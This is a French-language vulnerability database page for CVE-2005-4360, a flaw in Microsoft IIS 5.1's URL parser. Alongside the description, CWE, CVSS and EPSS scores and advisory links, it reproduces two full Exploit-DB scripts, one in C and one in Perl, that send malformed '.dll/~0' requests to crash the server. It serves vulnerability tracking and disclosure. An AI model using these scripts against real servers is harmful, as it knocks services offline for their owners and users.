CVE-2005-4360 : Détail

CVE-2005-4360

76.04%V4
Network
2005-12-20
00h00 +00:00
2018-10-19
12h57 +00:00
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

The URL parser in Microsoft Internet Information Services (IIS) 5.1 on Windows XP Professional SP2 allows remote attackers to execute arbitrary code via multiple requests to ".dll" followed by arguments such as "~0" through "~9", which causes ntdll.dll to produce a return value that is not correctly handled by IIS, as demonstrated using "/_vti_bin/.dll/*/~0". NOTE: the consequence was originally believed to be only a denial of service (application crash and reboot).

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-252 Unchecked Return Value
The product does not check the return value from a method or function, which can prevent it from detecting unexpected states and conditions.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 7.8 AV:N/AC:L/Au:N/C:N/I:C/A:N nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 1376

Date de publication : 2005-12-18 23h00 +00:00
Auteur : Kozan
EDB Vérifié : Yes

/***************************************************************** Microsoft IIS 5.1 Remote D.o.S Exploit by Kozan Application: Microsoft IIS (Internet Information Server) Vendor: Microsoft - http://www.microsoft.com/ Discovered by: Inge Henriksen Exploit Coded by: Kozan Credits to ATmaCA, Inge Henriksen Web: www.spyinstructors.com Mail: kozan@spyinstructors.com Vulnerable: Microsoft® Internet Information Server® V5.1 Not vulnerable: Microsoft® Internet Information Server® V5.0 Microsoft® Internet Information Server® V6.0 Only folders with Execute Permissions set to 'Scripts & Executables' are affected, such as the '_vti_bin' directory. inetinfo.exe will be crashed after exploitation finished successfuly. Usage: iis51dos.exe [Target Url or IP] *****************************************************************/ #include <winsock2.h> #include <stdio.h> #include <windows.h> #pragma comment(lib, "ws2_32.lib") char *HttpHeader(char *pszHost) { char szHeader[1000]; wsprintf( szHeader, "POST /_vti_bin/.dll/*/~0 HTTP/1.1\r\n" "Content-Type: application/x-www-form-urlencoded\r\n" "Host: %s\r\n" "Content-Length: 0\r\n\r\n" , pszHost ); return szHeader; } int main(int argc, char *argv[]) { fprintf(stdout, "\n\nMicrosoft IIS 5.1 Remote D.o.S Exploit by Kozan\n" "Bug Discovered by: Inge Henriksen\n" "Exploit Coded by: Kozan\n" "Credits to ATmaCA, Inge Henriksen\n" "www.spyinstructors.com - kozan@spyinstructors.com\n\n" ); if( argc != 2 ) { fprintf(stderr, "\n\nUsage:\t%s [WebSiteUrl]\n\n", argv[0]); return -1; } WSADATA wsaData; struct hostent *pTarget; struct sockaddr_in addr; SOCKET sock; char szHeader[1000], szWebUrl[1000]; lstrcpy(szWebUrl, argv[1]); lstrcpy(szHeader, HttpHeader(szWebUrl)); if( WSAStartup(0x0101,&wsaData) < 0 ) { fprintf(stderr, "Winsock error!\n"); return -1; } sock = socket(AF_INET,SOCK_STREAM,0); if( sock == -1 ) { fprintf(stderr, "Socket error!\n"); return -1; } if( (pTarget = gethostbyname(szWebUrl)) == NULL ) { fprintf(stderr, "Address resolve error!\n"); return -1; } memcpy(&addr.sin_addr.s_addr, pTarget->h_addr, pTarget->h_length); addr.sin_family = AF_INET; addr.sin_port = htons(80); memset(&(addr.sin_zero), '\0', 8); fprintf(stdout, "Please wait while connecting...\n"); if( connect( sock, (struct sockaddr*)&addr, sizeof(struct sockaddr) ) == -1 ) { fprintf(stderr, "Connection failed!\n"); closesocket(sock); return -1; } fprintf(stdout, "Connected.\n\n"); fprintf(stdout, "Please wait while sending DoS request headers...\n\n"); for( int i=0; i<4; i++ ) { fprintf(stdout, "Sending %d. request...\n", i+1); if( send(sock, szHeader, lstrlen(szHeader),0) == -1 ) { fprintf(stderr, "%d. DoS request header could not sent!\n", i+1); closesocket(sock); return -1; } fprintf(stdout, "%d. request sent.\n\n", i+1); } fprintf(stdout, "Operation completed...\n"); closesocket(sock); WSACleanup(); return 0; } // milw0rm.com [2005-12-19]
Exploit Database EDB-ID : 1377

Date de publication : 2005-12-18 23h00 +00:00
Auteur : kokanin
EDB Vérifié : Yes

#!/usr/bin/perl # _really_ bored kokanin / IIS 5.1 dos thing, Inge says to use a browser at # http://ingehenriksen.blogspot.com/2005/12/microsoft-iis-remote-dos-dll-url.html # kokanin not like puny browser!!"#1 I hoped Inge was a leet haxx0r ch1ck, but it's # apparently a dude, bummer. According to Inge passing a kinda malformed url to # an executable dir a few times makes inetinfo.exe crap out. Yum, monday. This # script has insanely elite randomization of the url, it even amazes me. # Hello ilja, ptp people, others, see you at ccc and stuff. # sample executable dirs: /_vti_bin/ /_sharepoint/ /scripts/ /cgi-bin/ /msadc/ /iisadmpwd/ # sample malformed url: http://www.example.xom/_vti_bin/.dll/*\~0 # sample run: ./this-crap.pl <www.host.bla> </executable_folder/> <count> # count should be 4 according to inge, do more!!!!1one MILLIONS I SAY!!! use List::Util 'shuffle'; use IO::Socket::INET; $target = shift; $folder = shift; $amount = shift; # main iteration thingie for(1..$amount){ # construct an array of the reportedly bad characters for(1..31){ @badchars[$_] = chr($_); } # append the rest of them @badchars = (@badchars,"?","\"","*",":","<",">"); # shuffle the array so @shuffled[0] is random @shuffled = shuffle(@badchars); # this is the request $malformed = $folder . ".dll/" . @shuffled[0] . "/~" . int rand(9); # this is informative text print "[$_]\t greeting $target with: " . $malformed . "\n"; # create the socket $socket = new IO::Socket::INET( Proto => "tcp", PeerAddr => $target, PeerPort => "80", ); # error reporting die "unable to connect to $target ($!) - omgomgwtf itz dead w00t w00t \n" unless $socket; # the actual data transmission print $socket "GET " . $malformed . " HTTP/1.0\r\n" . "Host: $target\r\n" . "\r\n\r\n"; # all done close $socket; } # milw0rm.com [2005-12-19]

Products Mentioned

Configuraton 0

Microsoft>>Internet_information_services >> Version 5.1

Microsoft>>Windows_xp >> Version -

Références

http://securityreason.com/securityalert/271
Tags : third-party-advisory, x_refsource_SREASON
http://securitytracker.com/alerts/2005/Dec/1015376.html
Tags : vdb-entry, x_refsource_SECTRACK
http://www.osvdb.org/21805
Tags : vdb-entry, x_refsource_OSVDB
http://www.vupen.com/english/advisories/2005/2963
Tags : vdb-entry, x_refsource_VUPEN
http://www.securityfocus.com/bid/15921
Tags : vdb-entry, x_refsource_BID
http://www.us-cert.gov/cas/techalerts/TA07-191A.html
Tags : third-party-advisory, x_refsource_CERT
http://secunia.com/advisories/18106
Tags : third-party-advisory, x_refsource_SECUNIA